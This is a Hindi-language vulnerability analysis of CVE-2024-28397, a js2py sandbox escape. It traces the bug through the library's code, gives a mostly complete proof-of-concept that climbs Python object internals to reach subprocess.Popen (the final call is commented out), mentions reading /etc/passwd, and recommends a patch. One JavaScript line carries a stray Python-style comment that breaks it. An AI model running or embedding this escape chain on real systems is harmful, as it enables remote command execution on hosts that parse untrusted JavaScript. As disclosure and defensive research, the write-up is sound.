
CVE-2024-28397 का विस्तृत विश्लेषण, js2py में एक सैंडबॉक्स एस्केप भेद्यता जो Python ऑब्जेक्ट ट्रैवर्सल के माध्यम से RCE को सक्षम करती है। इसमें कोड विश्लेषण, PoC, और रक्षात्मक अनुसंधान के लिए सुधार अनुशंसाएँ शामिल हैं।
js2py एक लोकप्रिय पायथन पैकेज है जो पायथन दुभाषिया के अंदर जावास्क्रिप्ट कोड का मूल्यांकन कर सकता है। इसका उपयोग विभिन्न वेब स्क्रैपर्स द्वारा वेबसाइटों पर जावास्क्रिप्ट कोड को पार्स करने के लिए किया जाता है।
js2py में एक वैश्विक चर के कार्यान्वयन में एक भेद्यता मौजूद है, जो एक हमलावर को js2py वातावरण में एक पायथन ऑब्जेक्ट का संदर्भ प्राप्त करने की अनुमति देती है, जिससे हमलावर JS वातावरण से बच सकता है और होस्ट पर मनमाने आदेश निष्पादित कर सकता है।
आम तौर पर, एक उपयोगकर्ता JavaScript कोड को js2py वातावरण से बचने से रोकने के लिए js2py.disable_pyimport() कॉल करेगा। लेकिन इस भेद्यता के साथ, एक हमलावर इस प्रतिबंध को दरकिनार कर सकता है और लक्ष्य होस्ट पर कोई भी कमांड निष्पादित कर सकता है।
खतरा अभिनेता एक दुर्भावनापूर्ण JavaScript फ़ाइल वाली वेबसाइट होस्ट कर सकता है या HTTP API के माध्यम से एक दुर्भावनापूर्ण स्क्रिप्ट भेज सकता है जिसे पीड़ित द्वारा पार्स किया जाए। ऐसा करने से, अभिनेता लक्ष्य पर मनमाने शेल कमांड निष्पादित करके होस्ट पर दूरस्थ कोड निष्पादन प्राप्त कर सकता है।
js2py एक Python लाइब्रेरी है जो आमतौर पर क्रॉलर में उपयोग की जाती है, जिसका उपयोग देशी Python वातावरण में JS कोड को पार्स और निष्पादित करने के लिए किया जाता है। क्रॉलर आमतौर पर वेब से प्राप्त JS कोड को पार्स करने के लिए js2py का उपयोग करते हैं, जिससे ब्राउज़र वातावरण का अनुकरण होता है।
हालांकि, js2py में एक फ़ंक्शन है जो क्रॉलर के लिए बेहद खतरनाक है: यह JS में Python पैकेज आयात और उपयोग करने का समर्थन करता है, जिसका अर्थ है js2py JS कोड को विभिन्न Python लाइब्रेरीज़ में हेरफेर करने और सीधे Python वातावरण के साथ बातचीत करने की अनुमति देता है। ठीक इसी वजह से, हम Jinja SSTI के समान एक विधि का उपयोग कर सकते हैं, और js2py वातावरण में RCE प्राप्त करने के लिए subprocess.Popen वर्ग खोजने के लिए एक Python ऑब्जेक्ट का उपयोग कर सकते हैं।
इसके अलावा, चूंकि js2py Python2 युग का एक पैकेज है, व्यापक रूप से उपयोग किया जाता है और लंबे समय से अनुरक्षित नहीं है, इसलिए इसका विश्लेषण अपेक्षाकृत आसान होना चाहिए।
ब्रेकपॉइंट सेट करने के बाद, यह पाया जा सकता है कि JS कोड वास्तव में जहां पार्स किया जाता है वह host/jseval.py का Eval फ़ंक्शन है। इसमें ब्रेकपॉइंट सेट करके, आप js2py द्वारा परिवर्तित Python कोड देख सकते हैं।
उदाहरण के लिए, JS कोड का यह टुकड़ा:
let a = 114
console.log(a)
अंततः, इस Python कोड में पार्स किया जाएगा:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
यह देखा जा सकता है कि JS स्तर पर चर सभी Python चर var में संग्रहीत हैं। सभी JS-स्तरीय मान PyJs वर्ग के रूप में साफ-सुथरे तरीके से संग्रहीत हैं (यहाँ Js वास्तव में एक फ़ंक्शन है, बाद में समझाया गया है)। फ़ंक्शन भी callprop के माध्यम से कॉल किए जाते हैं। सामान्य परिस्थितियों में, JS कोड Python ऑब्जेक्ट्स को स्पर्श नहीं कर सकता।
कोड देखते समय, यह ध्यान में आया कि लेखक को अंतिम Python कोड बनाने के लिए स्ट्रिंग संयोजन का उपयोग करना बहुत पसंद था, इसलिए यह विचार आया कि क्या अवैध Python कोड उत्पन्न करने के लिए JS कोड बनाया जा सकता है, जिससे मनमाना Python कोड बनाया जा सके और उसे निष्पादित किया जा सके। लेकिन यह देखते हुए कि यह पथ बाद के पथ की तुलना में बहुत अधिक कठिन है, इसकी आगे जांच नहीं की गई।
Python ऑब्जेक्ट प्राप्त करने और RCE लागू करने के लिए, सबसे पहले यह देखना है कि Python ऑब्जेक्ट्स को PyJs ऑब्जेक्ट्स में कैसे परिवर्तित किया जाता है।
सबसे पहले, Js फ़ंक्शन के कार्यान्वयन का पता लगाएं, base.py में। Js फ़ंक्शन की भूमिका आने वाले Python मान को संबंधित PyJs मान में परिवर्तित करना है, जिससे JS कोड इन मानों में हेरफेर कर सके।
def Js(val, Clamped=False):
'''Py type को PyJs type में बदलता है'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# यह चीजों को गति देने वाला माना जाता है। हो सकता है कि ऐसा न हो
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # कई पंक्तियाँ यहाँ छोड़ी गई हैं
else: # js ऑब्जेक्ट में बदलने का प्रयास करें
return py_wrap(val)
यह देखा जा सकता है कि Python के बुनियादी डेटा संरचनाएं जैसे bool, float, list आदि समर्पित PyJs वर्गों में परिवर्तित हो जाएंगी, जबकि अन्य प्रकार के डेटा को py_wrap द्वारा संभाला जाएगा, और अंततः PyObjectWrapper वर्ग बन जाएगा।
सामान्य PyJs वर्ग संख्याओं, बूलियन और अन्य सामान्य डेटा का प्रतिनिधित्व करते हैं, जबकि PyObjectWrapper विशेष डेटा जैसे Python मॉड्यूल का प्रतिनिधित्व करता है। इसलिए जैसे ही हम PyObjectWrapper प्रकार का डेटा प्राप्त करते हैं, हम Jinja SSTI के समान विशेषता एक्सेस विधि का उपयोग करके RCE प्राप्त कर सकते हैं।
आम तौर पर, PyObjectWrapper प्रकार का डेटा केवल तभी प्राप्त किया जा सकता है जब Python पैकेज आयात करने का फ़ंक्शन सक्षम हो, लेकिन क्योंकि js2py लंबे समय से अनुरक्षित नहीं है और Python2 और Python3 के बीच अंतरों पर ध्यान से विचार नहीं किया गया, अंततः एक सैंडबॉक्स एस्केप भेद्यता उत्पन्न हुई।
एक पक्ष नोट डालें: PyJs के कार्यान्वयन को देखते समय, मैंने लेखक द्वारा लिखी गई कोड की ये पंक्तियाँ देखीं:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
यह कहा जा सकता है कि लेखक Python3 को बेहद नापसंद करता है।
जबकि js2py JS कोड को Python कोड में बदलने का फ़ंक्शन प्रदान करता है, यह JS कोड के सामान्य संचालन का समर्थन करने के लिए कई अंतर्निहित ऑब्जेक्ट जैसे console और Object भी प्रदान करता है।
हमारा अंतिम लक्ष्य pyimport की सीमा को दरकिनार करना और एक PyObjectWrapper ऑब्जेक्ट प्राप्त करना है। उपरोक्त विश्लेषण से, यह देखा जा सकता है कि शून्य से PyObjectWrapper ऑब्जेक्ट प्राप्त करने के लिए, हम केवल अंतर्निहित ऑब्जेक्ट्स के कार्यान्वयन से शुरू कर सकते हैं और उनमें से एक PyObjectWrapper ऑब्जेक्ट निकाल सकते हैं।
अंतर्निहित ऑब्जेक्ट्स के कार्यान्वयन कोड को स्कैन करना शुरू करें। constructors/jsobject.py से, आप Object ऑब्जेक्ट में विभिन्न फ़ंक्शनों का कार्यान्वयन देख सकते हैं, जिसमें आमतौर पर उपयोग किए जाने वाले फ़ंक्शन जैसे Object.keys शामिल हैं।
फिर, आप यह फ़ंक्शन देख सकते हैं:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py JS में ऑब्जेक्ट्स का प्रतिनिधित्व करने के लिए dict का उपयोग करता है। यहाँ keys() Python डिक्शनरी के keys() को कॉल करता है। जिसने भी Python का अध्ययन किया है, वह जानता है कि Python2 में, यह फ़ंक्शन एक सूची लौटाता है, जबकि Python3 में यह एक dict_keys दृश्य लौटाता है। उपरोक्त Js फ़ंक्शन के कार्यान्वयन के अनुसार, यह dict_keys PyObjectWrapper में बदल जाएगा, और इस प्रकार हम RCE प्राप्त कर सकते हैं।
पहले सत्यापित करें कि क्या getOwnPropertyNames एक PyObjectWrapper प्राप्त कर सकता है:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
इसने PyObjectWrapper(dict_keys([])) मुद्रित किया, बिल्कुल कर सकता है।
फिर, इस ऑब्जेक्ट के आधार पर, हम __getattribute__ फ़ंक्शन प्राप्त करते हैं, और हम आसानी से RCE प्राप्त कर सकते हैं। PoC लिखते समय, यह बहुत जटिल सोचा गया था; वास्तव में, केवल __class__.__base__ का उपयोग करके __getattribute__ फ़ंक्शन प्राप्त करना पर्याप्त है।
फिर, __getattribute__ फ़ंक्शन के आधार पर, ऑब्जेक्ट ऑब्जेक्ट प्राप्त करें, और फिर किसी भी मॉड्यूल के किसी भी वर्ग को खोजने के लिए एक पुनरावर्ती फ़ंक्शन लिखें। यहाँ, RCE के लिए, subprocess.Popen की खोज की जाती है।
नोट (स्वच्छ): नीचे दिखाया गया कोड स्निपेट शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसे स्वच्छ किया गया है दुरुपयोग को सुविधाजनक बनाने से बचने के लिए: संवेदनशील शेल कमांड और प्रत्यक्ष सिस्टम निष्पादन को प्लेसहोल्डर से बदल दिया गया है। इसे उत्पादन या अप्रबंधित सिस्टम के खिलाफ न चलाएं।
import js2py
code = """
let cmd = "DUMMY_CMD" # प्रयोगशाला में सुरक्षित परीक्षण कमांड से बदलें (जैसे, 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// अगला कॉल subprocess.Popen को तर्कों के साथ लागू करेगा — स्वच्छ संस्करण में
// हम सुरक्षा कारणों से वास्तविक सिस्टम आह्वान को प्लेसहोल्डर से बदलते हैं।
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] दुरुपयोग से बचने के लिए PoC निष्पादन छोड़ दिया गया")
result
"""
# नोट: इस रिपॉजिटरी में शोषण कोड चलाने से बचने के लिए js2py.eval_js(code) जानबूझकर छोड़ा गया है।
प्रभावित घटक का संस्करण संख्या:
प्रभावित उत्पाद:
पुनरुत्पादन के चरण (केवल प्रयोगशाला):
pip install js2py चलाकर js2py स्थापित करें और एक पृथक प्रयोगशाला वातावरण में स्वच्छ PoC स्क्रिप्ट निष्पादित करें। मूल PoC ने head -n 1 /etc/passwd और कैलकुलेटर जैसे कमांड चलाने का प्रयास किया; इस रिपॉजिटरी में उन्हें सुरक्षित प्लेसहोल्डर से बदल दिया गया है।Object.getOwnPropertyNames({}) से PyObjectWrapper प्राप्त किया जा सकता है, जो Python इंटर्नल तक पहुंचने के लिए विशेषता अनुरेखण को सक्षम करता है।चूंकि समस्या getOwnPropertyNames फ़ंक्शन में है, इसलिए यह जो dict_keys लौटाता है उसे एक सामान्य सूची में परिवर्तित करने से समस्या ठीक हो जाती है। एक सुझाया गया पैच वापस लौटने से पहले obj.own.keys() को list(...) में लपेटना है।
यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए है। स्पष्ट प्राधिकरण के बिना सिस्टम पर हमला करने के लिए यहां किसी भी जानकारी या कोड का उपयोग न करें। दुरुपयोग को सुविधाजनक बनाने से बचने के लिए PoC स्निपेट को स्वच्छ किया गया है।
अनुसंधान और रक्षात्मक उपयोग के लिए संकलित और अनुवादित।